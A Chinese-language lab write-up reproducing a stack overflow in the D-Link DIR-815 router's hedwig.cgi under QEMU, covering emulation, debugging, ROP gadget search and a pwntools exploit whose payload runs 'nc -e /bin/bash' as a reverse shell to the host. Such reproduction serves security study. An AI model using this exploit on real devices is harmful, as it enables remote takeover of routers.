DLink 815路由器栈溢出漏洞分析与复现
DLink 815路由器栈溢出漏洞分析与复现
qemu模拟环境搭建
固件下载地址
File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815
binwalk解压固件
binwalk -Me dir815.bin
得到文件系统:

查看bin/busybox得知是MIPS32,小端:

使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:
因为是小端,这里直接选择mipsel,然后下载其中两个文件:

debian_squeeze_mipsel_standard.qcow2是文件系统,vmlinux-3.2.0-4-4kc-malta是内核镜像。
然后编辑qemu启动脚本start.sh:
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \
启动后输入用户名/密码 root/root或user/user即可登录qemu模拟的系统。
接下来在宿主机创建一个网卡,使qemu内能和宿主机通信。
安装依赖库:
sudo apt-get install bridge-utils uml-utilities
在宿主机编写如下文件保存为net.sh并运行:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
可以使用ifconfig命令检查是否配置成功:

然后配置qemu虚拟系统的路由,在qemu虚拟系统中编写net.sh并运行:
#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
在qemu虚拟系统中使用ifconfig命令查看eth0地址是否更改为192.168.100.2:

此时宿主机应该可以和qemu虚拟系统互相ping通了:


随后使用scp命令将binwalk解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下:
scp -r squashfs-root/ root@192.168.100.2:/root
然后在qemu虚拟系统中将squashfs-root文件夹下的库文件替换掉原有的,此操作会改变文件系统,如果不小心退出了虚拟系统,再次启动qemu时会失败,原因是因为改变了文件系统的内容。此时需要使用新的文件系统,因此在此操作之前可以先备份一份。编写auto.sh并执行:
cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
接下来在qemu虚拟系统的根目录( / )下,创建一个名为conf的文件,此文件是httpd服务的配置文件。内容如下:
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 192.168.100.2 #qemu的ip地址
Port "4321" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
最后启动httpd服务:
./httpd -f conf
在宿主机浏览器中访问hedwig.cgi服务:

这里访问失败是因为hedwig.cgi服务没有收到请求,需要提前配置qemu虚拟环境中的REQUEST_METHOD等方法,因为httpd是读取的环境变量,这里就直接通过环境变量进行设置:
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"
这里在qemu虚拟系统中运行hedwig.cgi,再次访问http://192.168.100.2:4321/hedwig.cgi就可以正常收到内容了:

以上整个过程就是环境搭建部分,接下来就是使用gdbserver对hedwig.cgi进行调试了。
调试方法
需要在宿主机使用异构的gdb,在qemu虚拟系统中使用gdbserver来调试程序。首先在宿主机安装异构的gdb:
sudo apt install gdb-multiarch
然后在下面网址下载编译好的异构gdbserver,直接传到qemu虚拟系统中,或者自己在gdb官网下载源码交叉编译也行:
embedded-tools/binaries at master · rapid7/embedded-tools
gdbserver的用法如下:
./gdbserver 远程gdb的IP:port ./test
例如这里是用的:
./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi
最后在宿主机使用gdb-multiarch进行远程调试即可:

调试确定栈溢出偏移
因为hedwig.cgi是集成到cgibin中的,所以只需要将cgibin文件放到IDA中分析就行。通过查找资料和分析得知,程序的溢出点和HTTP_COOKIE字段有关。通过查找字符串引用,在IDA中查看伪代码如下:

它存在于sess_get_uid函数,getenv获取变量信息,因此可以通过设置全局变量来控制此参数。查看sess_get_uid函数的引用,在hedwigcgi_main函数中找到如下内容:

此处值得注意的是sprintf将string和字符串拼接,放入到v27变量中,并未对长度进行检查。接下来尝试打开文件/var/tmp/temp.xml,如果不存在就跳转到退出函数,如果文件存在,则顺序执行到以下代码:

此处的sprintf也未对长度进行检查,输入超长的字符串会发生栈溢出。使用如下调试脚本进行环境变量的设置,并启动调试端口:
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
使用gdb-multiarch远程调试,断在hedwig_cgi函数的返回地址,可以观察到s0-s7寄存器被我们的输入控制,如下:

最后看到控制了s0-s7,并且控制了ra寄存器,即控制了返回地址,依照我们上面调试脚本输入的内容,得知填充长度为1009即可控制返回地址:

构造ROP的方法
目的是为了劫持返回地址,调用libc中的system。但为了避免cache incoherency机制,这里使用system构造反弹shell,而非直接调用shellcode。首先要确定可以调用system的libc,使用vmmap查看得知为libc.so.0:

复制以下代码到ida的plugins目录中,并命名为mipsrop.py:
https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py
修改82行from shims import ida_shims为import ida_shims
复制以下代码到ida的plugins目录中,并命名为ida_shims.py:
import idc
import idaapi
try:
import ida_bytes
except ImportError:
ida_bytes = None
try:
import ida_name
except ImportError:
ida_name = None
try:
import ida_kernwin
except ImportError:
ida_kernwin = None
try:
import ida_nalt
except ImportError:
ida_nalt = None
try:
import ida_ua
except ImportError:
ida_ua = None
try:
import ida_funcs
except ImportError:
ida_funcs = None
def _get_fn_by_version(lib, curr_fn, archive_fn, archive_lib=None):
if idaapi.IDA_SDK_VERSION >= 700:
try:
return getattr(lib, curr_fn)
except AttributeError:
raise Exception('%s is not a valid function in %s' % (curr_fn,
lib))
use_lib = lib if archive_lib is None else archive_lib
try:
return getattr(use_lib, archive_fn)
except AttributeError:
raise Exception('%s is not a valid function in %s' % (archive_fn,
use_lib))
def print_insn_mnem(ea):
fn = _get_fn_by_version(idc, 'print_insn_mnem', 'GetMnem')
return fn(ea)
def print_operand(ea, n):
fn = _get_fn_by_version(idc, 'print_operand', 'GetOpnd')
return fn(ea, n)
def define_local_var(start, end, location, name):
fn = _get_fn_by_version(idc, 'define_local_var', 'MakeLocal')
return fn(start, end, location, name)
def find_func_end(ea):
fn = _get_fn_by_version(idc, 'find_func_end', 'FindFuncEnd')
return fn(ea)
def is_code(flag):
fn = _get_fn_by_version(ida_bytes, 'is_code', 'isCode', idaapi)
return fn(flag)
def get_full_flags(ea):
fn = _get_fn_by_version(ida_bytes, 'get_full_flags', 'getFlags', idaapi)
return fn(ea)
def get_name(ea):
fn = _get_fn_by_version(idc, 'get_name', 'Name')
if idaapi.IDA_SDK_VERSION > 700:
return fn(ea, ida_name.GN_VISIBLE)
return fn(ea)
def get_func_off_str(ea):
fn = _get_fn_by_version(idc, 'get_func_off_str', 'GetFuncOffset')
return fn(ea)
def jumpto(ea, opnum=-1, uijmp_flags=0x0001):
fn = _get_fn_by_version(ida_kernwin, 'jumpto', 'Jump', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, opnum, uijmp_flags)
return fn(ea)
def ask_yn(default, format_str):
fn = _get_fn_by_version(ida_kernwin, 'ask_yn', 'AskYN', idc)
return fn(default, format_str)
def ask_file(for_saving, default, dialog):
fn = _get_fn_by_version(ida_kernwin, 'ask_file', 'AskFile', idc)
return fn(for_saving, default, dialog)
def get_func_attr(ea, attr):
fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionAttr')
return fn(ea, attr)
def get_name_ea_simple(name):
fn = _get_fn_by_version(idc, 'get_name_ea_simple', 'LocByName')
return fn(name)
def next_head(ea, maxea=4294967295):
fn = _get_fn_by_version(idc, 'next_head', 'NextHead')
return fn(ea, maxea)
def get_screen_ea():
fn = _get_fn_by_version(idc, 'get_screen_ea', 'ScreenEA')
return fn()
def choose_func(title):
fn = _get_fn_by_version(idc, 'choose_func', 'ChooseFunction')
return fn(title)
def ask_ident(default, prompt):
fn = _get_fn_by_version(ida_kernwin, 'ask_str', 'AskIdent', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(default, ida_kernwin.HIST_IDENT, prompt)
return fn(default, prompt)
def set_name(ea, name):
fn = _get_fn_by_version(idc, 'set_name', 'MakeName')
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, name, ida_name.SN_CHECK)
return fn(ea, name)
def get_wide_dword(ea):
fn = _get_fn_by_version(idc, 'get_wide_dword', 'Dword')
return fn(ea)
def get_strlit_contents(ea):
fn = _get_fn_by_version(idc, 'get_strlit_contents', 'GetString')
return fn(ea)
def get_func_name(ea):
fn = _get_fn_by_version(idc, 'get_func_name', 'GetFunctionName')
return fn(ea)
def get_first_seg():
fn = _get_fn_by_version(idc, 'get_first_seg', 'FirstSeg')
return fn()
def get_segm_attr(segea, attr):
fn = _get_fn_by_version(idc, 'get_segm_attr', 'GetSegmentAttr')
return fn(segea, attr)
def get_next_seg(ea):
fn = _get_fn_by_version(idc, 'get_next_seg', 'NextSeg')
return fn(ea)
def is_strlit(flags):
fn = _get_fn_by_version(ida_bytes, 'is_strlit', 'isASCII', idc)
return fn(flags)
def create_strlit(start, lenth):
fn = _get_fn_by_version(ida_bytes, 'create_strlit', 'MakeStr', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(start, lenth, ida_nalt.STRTYPE_C)
return fn(start, idc.BADADDR)
def is_unknown(flags):
fn = _get_fn_by_version(ida_bytes, 'is_unknown', 'isUnknown', idc)
return fn(flags)
def is_byte(flags):
fn = _get_fn_by_version(ida_bytes, 'is_byte', 'isByte', idc)
return fn(flags)
def create_dword(ea):
fn = _get_fn_by_version(ida_bytes, 'create_data', 'MakeDword', idc)
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, ida_bytes.FF_DWORD, 4, idaapi.BADADDR)
return fn(ea)
def op_plain_offset(ea, n, base):
fn = _get_fn_by_version(idc, 'op_plain_offset', 'OpOff')
return fn(ea, n, base)
def next_addr(ea):
fn = _get_fn_by_version(ida_bytes, 'next_addr', 'NextAddr', idc)
return fn(ea)
def can_decode(ea):
fn = _get_fn_by_version(ida_ua, 'can_decode', 'decode_insn', idaapi)
return fn(ea)
def get_operands(insn):
if idaapi.IDA_SDK_VERSION >= 700:
return insn.ops
return idaapi.cmd.Operands
def get_canon_feature(insn):
if idaapi.IDA_SDK_VERSION >= 700:
return insn.get_canon_feature()
return idaapi.cmd.get_canon_feature()
def get_segm_name(ea):
fn = _get_fn_by_version(idc, 'get_segm_name', 'SegName')
return fn(ea)
def add_func(ea):
fn = _get_fn_by_version(ida_funcs, 'add_func', 'MakeFunction', idc)
return fn(ea)
def create_insn(ea):
fn = _get_fn_by_version(idc, 'create_insn', 'MakeCode')
return fn(ea)
def get_segm_end(ea):
fn = _get_fn_by_version(idc, 'get_segm_end', 'SegEnd')
return fn(ea)
def get_segm_start(ea):
fn = _get_fn_by_version(idc, 'get_segm_start', 'SegStart')
return fn(ea)
def decode_insn(ea):
fn = _get_fn_by_version(ida_ua, 'decode_insn', 'decode_insn', idaapi)
if idaapi.IDA_SDK_VERSION >= 700:
insn = ida_ua.insn_t()
fn(insn, ea)
return insn
fn(ea)
return idaapi.cmd
def get_bookmark(index):
fn = _get_fn_by_version(idc, 'get_bookmark', 'GetMarkedPos')
return fn(index)
def get_bookmark_desc(index):
fn = _get_fn_by_version(idc, 'get_bookmark_desc', 'GetMarkComment')
return fn(index)
def set_color(ea, what, color):
fn = _get_fn_by_version(idc, 'set_color', 'SetColor')
return fn(ea, what, color)
def msg(message):
fn = _get_fn_by_version(ida_kernwin, 'msg', 'Message', idc)
return fn(message)
def get_highlighted_identifier():
fn = _get_fn_by_version(ida_kernwin, 'get_highlight',
'get_highlighted_identifier', idaapi)
if idaapi.IDA_SDK_VERSION >= 700:
viewer = ida_kernwin.get_current_viewer()
highlight = fn(viewer)
if highlight and highlight[1]:
return highlight[0]
return fn()
def start_ea(obj):
if not obj:
return None
try:
return obj.startEA
except AttributeError:
return obj.start_ea
def end_ea(obj):
if not obj:
return None
try:
return obj.endEA
except AttributeError:
return obj.end_ea
def set_func_flags(ea, flags):
fn = _get_fn_by_version(idc, 'set_func_attr', 'SetFunctionFlags')
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, idc.FUNCATTR_FLAGS, flags)
return fn(ea, flags)
def get_func_flags(ea):
fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionFlags')
if idaapi.IDA_SDK_VERSION >= 700:
return fn(ea, idc.FUNCATTR_FLAGS)
return fn(ea)
之后在idapython输入框中输入:
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()
然后输入mipsrop.find("")即可查询可用的gadget:

根据《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复,因此我们查找addiu $s0,1指令,选用gadgets:0x158c8


这个gadget可以将s0赋值为system函数地址。现在我们还需要找到给system函数传参的gadget。利用mipsrop.stackfinder,选用gadget:0x159cc。因为其既可以跳转至system函数,又可以通过s5给system函数传参:


编写exp
有了上面两个gadget之后,整体流程如下:
- 劫持地址-->0x158c8(给s0赋值为
system函数地址,跳转至s5) - 0x159cc(给system函数传参并跳转执行)
exp如下:
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4 # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += p32(base_addr+gadget2) # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()
运行exp生成context,将congtext上传,然后运行hedwig.cgi服务:
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi
最后可以在宿主机可以得到一个qemu虚拟系统的shell:





总结
复现过程主要难点在于环境搭建、仿真模拟,由于没有硬件设备,通过仿真只能模拟出部分功能。我试了很多方式,比如像FirmAE和Firmadyne,或者是自己构建的docker镜像、openwrt虚拟机,都不是很好用,中途遇到无数多的问题不得不放弃这些方法,最后选择这种手动模拟的方式,这种方式应该适用于多数要求不是很高的模拟场景。
References
IOT设备漏洞挖掘从入门到入门(一)- DVRF系列题目分析 - 安全客,安全资讯平台
IOT设备漏洞挖掘从入门到入门(二)- DLink Dir 815漏洞分析及三种方式模拟复现 - 安全客,安全资讯平台
DLink 815路由器栈溢出漏洞分析与复现的更多相关文章
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- 【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记
0x00 基本信息 2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞. 华为HG53 ...
- CVE-2010-3333-office RTF栈溢出漏洞分析
0x00 前言 此漏洞是根据泉哥的<漏洞战争>来学习分析的,网上已有大量分析文章在此只是做一个独立的分析记录. 0x01 复现环境 操作系统-->windows7 x64 软件版本- ...
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
- Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现
0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...
- Windows RDP的RCE漏洞分析和复现(CVE-2019-0708)
0x00 漏洞描述 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广如:windows2003.windows2008.windows2008 R2.windows ...
- Typecho 反序列化漏洞 分析及复现
0x00 漏洞简介 CVE-2018-18753 漏洞概述: typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任 ...
- SpringBoot SpEL表达式注入漏洞-分析与复现
目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
随机推荐
- Office RTF远程模板注入
远程模板插入 ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加.之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh). 相 ...
- C语言strtok_s函数
strtok_s 在C语言中的作用是分割出一个字符串中的单词 在MSDN上参数表: strtok_s strToken String containing token or tokens. strDe ...
- 如何基于gRPC沟通微服务框架
本文我们来讲解一下如何使用 gRPC构建微服务,gRPC是一个开源框架,可用于构建可扩展且高性能的微服务并创建服务之间的通信. 背景 随着企业越来越多地转向微服务,对构建这些微服务的低延迟和可扩展框架 ...
- 微服务从代码到k8s部署应有尽有系列(十四、部署环境搭建)
我们用一个系列来讲解从需求到上线.从代码到k8s部署.从日志到监控等各个方面的微服务完整实践. 整个项目使用了go-zero开发的微服务,基本包含了go-zero以及相关go-zero作者开发的一些中 ...
- [Golang]一些书城项目中出现错误的原因和解决办法(二)
跟着B站尚硅谷的GoWeb教程写书城项目,整理一下自己写的时候出现的错误和解决办法. 错误三:数据库的 cart_items 表中 total_count 始终为 0. 原因:更新购物车信息的 Upd ...
- Python3+PyMysql
原文地址(持续更新ing-):https://www.caituotuo.top/6bf90683.html 1. 安装PyMySQL pip3 install PyMySQL 2. 创建数据库 # ...
- DH密钥交换协议
密钥交换 密钥交换简单点来说就是允许两名用户在公开媒体上交换信息以生成"一致"的.可以共享的密钥.也就是由甲方产出一对密钥(公钥.私钥),乙方依照甲方公钥产生乙方密钥对(公钥.私钥 ...
- VUE学习笔记(李天禹老师版本)
目录 VUE 一 脚手架文件结构 二 关于不同版本的Vue 三 vue.config.js配置文件 vue文件的基本结构 components 四 ref属性 TIPS 五 props配置项 Tips ...
- MegaRAID管理工具操作手册-从零到无
--时间:2021年1月25日 --作者:飞翔的小胖猪 前言 文档约定红色字体的E表示Enclosure Device ID.红色字体S表示Slot Number.红色字体A表示Adapter号.红色 ...
- elementUI日期选择器 el-date-picker根据所选日期选择禁用
我遇到这样一个场景,需要动态渲染时间表单,但是后端传过来的数据, 这个时候就不能预先找到想要限制的date了,因为连date本身,也是根据后端传来的数据生成的. 如图: 代码如下: //templat ...